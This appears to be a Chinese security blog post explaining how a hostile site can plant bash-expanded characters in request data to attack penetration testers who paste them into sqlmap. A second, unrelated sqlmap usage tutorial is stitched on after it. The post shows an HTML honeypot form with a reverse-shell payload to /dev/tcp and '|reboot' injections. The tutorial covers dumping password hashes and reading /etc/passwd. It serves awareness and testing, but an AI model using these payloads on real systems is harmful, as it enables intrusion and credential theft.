注意了,使用Sqlmap的你可能踩中了“蜜罐”

Par0:楔子

你站在桥上看风景,看风景的人在楼上看你,

明月装饰了你的窗子,你装饰了别人的梦。

Par1:你要了解的事

渗透测试的同学应该都知道,在Linux下,sqlmap执行的语句大多是:

 

Bash#sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "postdata"

or

 

Bash#python sqlmap.py –u "http://sample.com/a=xxx&b=xxx" –cookie "cookedata"

 

如此形式的语句执行,实际上都是在shell中,执行bash命令。

但是,bash命令中,一些使用几率较小的特性,很多安全测试人员可能都不求甚解。

通过阅读Bash参考手册,可以了解到,在bash命令中,一些字符在封闭的双引号中,有特殊的含义,并非所见即所得。

 

 

Enclosing characters in double quotes (‘"’)preserves the literal value of all characters within the quotes, with theexception of ‘$’, ‘`’, ‘\’, and, whenhistory expansion is enabled, ‘!’. When the shell is in POSIX mode (seeBash POSIX Mode),the ‘!’ hasno special meaning within double quotes, even when history expansion isenabled. The characters ‘$’ and ‘`’ retain theirspecial meaning within double quotes (see Shell Expansions).The backslash retains its special meaning only when followed by one of the followingcharacters: ‘$’, ‘`’, ‘"’, ‘\’, or newline. Within doublequotes, backslashes that are followed by one of these characters are removed.Backslashes preceding characters without a special meaning are left unmodified.A double quote may be quoted within double quotes by preceding it with abackslash. If enabled, history expansion will be performed unless an ‘!’ appearing indouble quotes is escaped using a backslash. The backslash preceding the ‘!’ is notremoved.

The special parameters ‘*’ and ‘@’ have specialmeaning when in double quotes (see Shell Parameter Expansion).

 

如果,懒着弄明白上面的意思,最好的办法就是在自己的Linux中执行相关的命令:

如ping “!!”,ping “`reboot`”,看看会产生怎样神奇的效果

说的明白点,双引号中的”!!”或者”!+数字”,会替换成历史命令,执行”history”命令,就可以知道哪些数字对应哪些命令了。如果我将”!”放入到http请求中,而渗透测试人员执行例如

 

bash# sqlmap -u "www.asnine.com/test" --data"post!!request=hacked"

 

首先双引号中的!!会被替换成你最近执行的一条历史命令,然后在发送到webserver,如果webserver是恶意的,那么他就可以轻松的收集到你的bash中的历史输入了,也算是一种信息泄露吧。

如果仅仅是信息收集,危害还小一些,如果用”`”(数字1前面那个反单引号字符),可就厉害了。任何”`”之间的命令,都会被执行,如果仅仅是为了好玩,一个reboot,就够你受了,但是如果还有其他的想法,你的系统可就危在旦夕了

如果我将这些特殊的字符(“!” , “`”…)放到get/post/cookie等http请求参数中,万一有人用sqlmap去对该网站进行安全测试,而注入参数正好包含了这些特殊字符,那么有意思的事情就产生了

此时,你通过拦截浏览器获取的http post如果是恶意代码

执行:

sqlmap –u "http://sample.com/a=xxx&b=xxx" –data "evilcode"

 

结果就是,装逼不成反被BI~

Par2:姑且称之为sqlmap honeypot吧

现在,我的目的很单纯,就是将特殊字符嵌入到http的请求数据中,以达到对渗透人员的反戈一击。

要做到一个强力的反击,首先需要将诸如”!”, “`”等字符串,放入http请求中。

而http请求,主要包括get request,cookie,post request三种。

大多时候,渗透人员通过获取post数据作为sql的注入点,所以,要找到一种在post情况下的危险参数注入。

由于post数据,可以构造的相对比较复杂,很多时候,渗透人员只是将所有参数一股脑的作为sqlmap的data参数进行测试,所以可以很好的做到将危险参数嵌入到post data数据中,以达到隐藏自身的目的。

接下来,要做的就是如果渗透人员在通过利用例如Burp Suite等工具获取sqlmap注入使用的参数时,获取到的字符为未编码的可见字符。

在用form进行提交数据时,如果添加enctype=”text/plain”属性,那么,就可以做到可见即可得。

测试demo:

 

 

<html>

<head>

<title> A sqlmap honeypot demo</title>

</head>

<body>

<input>search the user</input>

<form id="myForm" action="username.html" method="post" enctype="text/plain">

<input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>

<input type="button"onclick="myForm.submit()" value="Submit">

</form>

</body>

</html>

 

访问该页面,进行查询时,发送到请求为:

getpostdat.png

这时,很多没有经验的安全渗透人员就可能将postdata,复制,粘贴,sqlmap执行之:

Boom!

Par3:换个姿势,再来一遍

前两拍,为了所谓的神秘感,利用人们不常用的bash特性,强行装了一波。

但是,既然利用场景是:

bash# exec "evil code"

那么事情可能会变得更加简单。

 

使用过Linux的,大多数都用到过管道(|),而这个功能,能更好好的完成任务。

如果注入参数是:

"|reboot" (参数中包含双引号)

 

那么执行的命令则为:

bash# exec ""|reboot""

 

以上,我都假设的是,渗透人员将参数放入到双引号(“)中。但使用管道,单引号的问题也迎刃而解

针对单引号,可以将注入参数设置为:

'|reboot'

Double Kill!

Par4:尾声

以上都是我在测试一个网站时,其cookie中包含了

"!+number"

导致了sqlmap语句的执行错误引起的。于是乎,深入追踪了下,发现其实主要原因属于bash的特性。如果利用这个特性做恶,的确存在一定的安全风险。

 

很多时候,我们并不能确保输入数据安全性,尤其在使用sqlmap这种输入参数来源于攻击目标的情况下。如果有人在获取的参数(get/post/cookie)上动了手脚,渗透人员很可能偷鸡不成拾把屎。

相信,只要理解了攻击手段,很多人会构造出更完美的攻击数据,这里就不献丑了。

而且,伪装到位的话,服务器甚至可以返回一些注入成功的信息

这个时候,sqlmap使用者,就有些悲剧了,他们沉浸在在成功的喜悦中,却未料到背后隐藏的杀机

当然,这种利用bash特性的攻击方式,并不仅仅作用于sqlmap,也可能用于其它依赖于Linux命令行执行的程序。Sqlmap只不过是这种特性的一个很好的利用场景。

 

Here is a list of major features implemented in sqlmap: * Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server database management system back-end. Besides these four DBMS, sqlmap can also identify Microsoft Access, DB2, Informix and Sybase; * Extensive database management system back-end fingerprint based upon: o Inband DBMS error messages o DBMS banner parsing o DBMS functions output comparison o DBMS specific features such as MySQL comment injection o Passive SQL injection fuzzing * It fully supports two SQL injection techniques: o Blind SQL injection, also known as Inference SQL injection o Inband SQL injection, also known as UNION query SQL injection and it partially supports error based SQL injection as one of the vectors for database management system fingerprint; * It automatically tests all provided GET, POST, Cookie and User- Agent parameters to find dynamic ones. On these it automatically tests and detects the ones affected by SQL injection. Moreover each dynamic parameter is tested for numeric, single quoted string, double quoted string and all of these three type with one and two brackets to find which is the valid syntax to perform further injections with; * It is possible to provide the name of the only parameter(s) that you want to perform tests and use for injection on, being them GET, POST, Cookie parameters; * SQL injection testing and detection does not depend upon the web application database management system back-end. SQL injection exploiting and query syntax obviously depend upon the web application database management system back-end; * It recognizes valid queries by false ones based upon HTML output page hashes comparison by default, but it is also possible to choose to perform such test based upon string matching; * HTTP requests can be performed in both HTTP method GET and POST (default: GET); * It is possible to perform HTTP requests using a HTTP User-Agent header string randomly selected from a text file; * It is possible to provide a HTTP Cookie header string, useful when the web application requires authentication based upon cookies and you have such data; * It is possible to provide an anonymous HTTP proxy address and port to pass by the HTTP requests to the target URL; * It is possible to provide the remote DBMS back-end if you already know it making sqlmap save some time to fingerprint it; * It supports various command line options to get database management system banner, current DBMS user, current DBMS database, enumerate users, users password hashes, databases, tables, columns, dump tables entries, dump the entire DBMS, retrieve an arbitrary file content (if the remote DBMS is MySQL) and provide your own SQL SELECT statement to be evaluated; * It is possible to make sqlmap automatically detect if the affected parameter is also affected by an UNION query SQL injection and, in such case, to use it to exploit the vulnerability; * It is possible to exclude system databases when enumerating tables, useful when dumping the entire DBMS databases tables entries and you want to skip the default DBMS data; * It is possible to view the Estimated time of arrival for each query output, updated in real time while performing the SQL injection attack; * Support to increase the verbosity level of output messages; * It is possible to save queries performed and their retrieved value in real time on an output text file and continue the injection resuming from such file in a second time; * PHP setting magic_quotes_gpc bypass by encoding every query string, between single quotes, with CHAR (or similar) DBMS specific function. 昨天晚上实在忍不住,还是看了一些,然后测试了一下。里面的sql语句太过于简单,不过你可以定制。修改为更富在的语句。以绕过注入检测和其他IDS设 备。 稍晚一下,我编译一个dos版本的给你们。 1、首先安装python2.5。 2、然后进入sqlmap的目录,执行sqlmap 详细用法 1、sqlmap -u 注入点 2、sqlmap -g "关键词“ //这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度 3、 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 [hh:mm:25] [INFO] testing if the url is stable, wait a few seconds [hh:mm:26] [INFO] url is stable [hh:mm:26] [INFO] testing if GET parameter 'id' is dynamic [hh:mm:26] [INFO] confirming that GET parameter 'id' is dynamic [hh:mm:26] [INFO] GET parameter 'id' is dynamic [hh:mm:26] [INFO] testing sql injection on GET parameter 'id' [hh:mm:26] [INFO] testing numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] confirming numeric/unescaped injection on GET parameter 'id' [hh:mm:26] [INFO] GET parameter 'id' is numeric/unescaped injectable [hh:mm:26] [INFO] testing MySQL [hh:mm:26] [INFO] query: CONCAT('5', '5') [hh:mm:26] [INFO] retrieved: 55 [hh:mm:26] [INFO] performed 20 queries in 0 seconds [hh:mm:26] [INFO] confirming MySQL [hh:mm:26] [INFO] query: LENGTH('5') [hh:mm:26] [INFO] retrieved: 1 [hh:mm:26] [INFO] performed 13 queries in 0 seconds [hh:mm:26] [INFO] query: SELECT 5 FROM information_schema.TABLES LIMIT 0, 1 [hh:mm:26] [INFO] retrieved: 5 [hh:mm:26] [INFO] performed 13 queries in 0 seconds remote DBMS: MySQL >= 5.0.0 4、指定参数注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id" [hh:mm:17] [INFO] testing if the url is stable, wait a few seconds [hh:mm:18] [INFO] url is stable [hh:mm:18] [INFO] testing sql injection on parameter 'id' [hh:mm:18] [INFO] testing numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] confirming numeric/unescaped injection on parameter 'id' [hh:mm:18] [INFO] parameter 'id' is numeric/unescaped injectable [...] Or if you want to provide more than one parameter, for instance: $ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id" 5、指定方法和post的数据 python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" -- data "id=1&cat=2" 6、指定cookie,可以注入一些需要登录的地址 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE" 7、通过代理注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118" 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --string "STRING_ON_TRUE_PAGE" 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。 --remote-dbms 10、指纹判别数据库类型 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f 11、获取banner信息 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- current-db current database: 'testdb' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users database management system users [5]: [*] 'debian-sys-maint'@'localhost' [*] 'root'@'127.0.0.1' [*] 'root'@'leboyer' [*] 'root'@'localhost' [*] 'testuser'@'localhost' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- passwords database management system users password hashes: [*] debian-sys-maint [1]: password hash: *XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX [*] root [1]: password hash: *YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY [*] testuser [1]: password hash: *ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs available databases [3]: [*] information_schema [*] mysql [*] testdb python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema" Database: information_schema [16 tables] +---------------------------------------+ | CHARACTER_SETS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLLATIONS | | COLUMN_PRIVILEGES | | COLUMNS | | KEY_COLUMN_USAGE | | ROUTINES | | SCHEMA_PRIVILEGES | | SCHEMATA | | STATISTICS | | TABLE_CONSTRAINTS | | TABLE_PRIVILEGES | | TABLES | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- columns -T "user" -D "mysql" Database: mysql Table: user [37 columns] +-----------------------+------+ | Column | Type | +-----------------------+------+ | Alter_priv | enum | | Alter_routine_priv | enum | | Create_priv | enum | | Create_routine_priv | enum | | Create_tmp_table_priv | enum | | Create_user_priv | enum | | Create_view_priv | enum | | Delete_priv | enum | | Drop_priv | enum | | Execute_priv | enum | | File_priv | enum | | Grant_priv | enum | | Host | char | | Index_priv | enum | | Insert_priv | enum | | Lock_tables_priv | enum | | max_connections | int | | max_questions | int | | max_updates | int | | max_user_connections | int | | Password | char | | Process_priv | enum | | References_priv | enum | | Reload_priv | enum | | Repl_client_priv | enum | | Repl_slave_priv | enum | | Select_priv | enum | | Show_db_priv | enum | | Show_view_priv | enum | | Shutdown_priv | enum | | ssl_cipher | blob | | ssl_type | enum | | Super_priv | enum | | Update_priv | enum | | User | char | | x509_issuer | blob | | x509_subject | blob | +-----------------------+------+ 13、显示指定的文件内容,一般用于php python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file / etc/passwd /etc/passwd: --- root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/false backup:x:34:34:backup:/var/backups:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/ bin/bash inquis:x:1000:100:Bernardo Damele,,,:/home/inquis:/bin/bash --- 14、执行你自己的sql语句。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -e "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" [hh:mm:18] [INFO] fetching expression output: 'SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1' [hh:mm:18] [INFO] query: SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1 [hh:mm:18] [INFO] retrieved: YYYYYYYYYYYYYYYY [hh:mm:19] [INFO] performed 118 queries in 0 seconds SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1: 'YYYYYYYYYYYYYYYY' 15、union注入 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --union- check valid union: 'http://192.168.1.47/page.php?id=1 UNION ALL SELECT NULL, NULL, NULL--&cat=2' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner [...] [hh:mm:24] [INFO] testing inband sql injection on parameter 'id' [hh:mm:24] [INFO] the target url could be affected by an inband sql injection vulnerability [hh:mm:24] [INFO] confirming inband sql injection on parameter 'id' [...] [hh:mm:24] [INFO] fetching banner [hh:mm:24] [INFO] request: http://192.168.1.47/page.php?id=1 UNION ALL SELECT CONCAT(CHAR(95,95,83,84,65,82,84,95,95), VERSION(), CHAR(95,95,83,84,79,80,95,95)), NULL, NULL--&cat=2 [hh:mm:24] [INFO] performed 1 queries in 0 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候断,有时间再继续。 python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b - o "sqlmap.log" [...] [hh:mm:09] [INFO] fetching banner [hh:mm:09] [INFO] query: VERSION() [hh:mm:09] [INFO] retrieved: 5.0.30-Debian_3-log [hh:mm:11] [INFO] performed 139 queries in 1 seconds banner: '5.0.38-Ubuntu_0ubuntu1.1-log' python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- banner -o "sqlmap.log" --resume [...] [hh:mm:13] [INFO] fetching banner [hh:mm:13] [INFO] query: VERSION() [hh:mm:13] [INFO] retrieved the length of query: 26 [hh:mm:13] [INFO] resumed from file 'sqlmap.log': 5.0.45-Deb [hh:mm:13] [INFO] retrieved: ian_1ubuntu3-log banner:
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值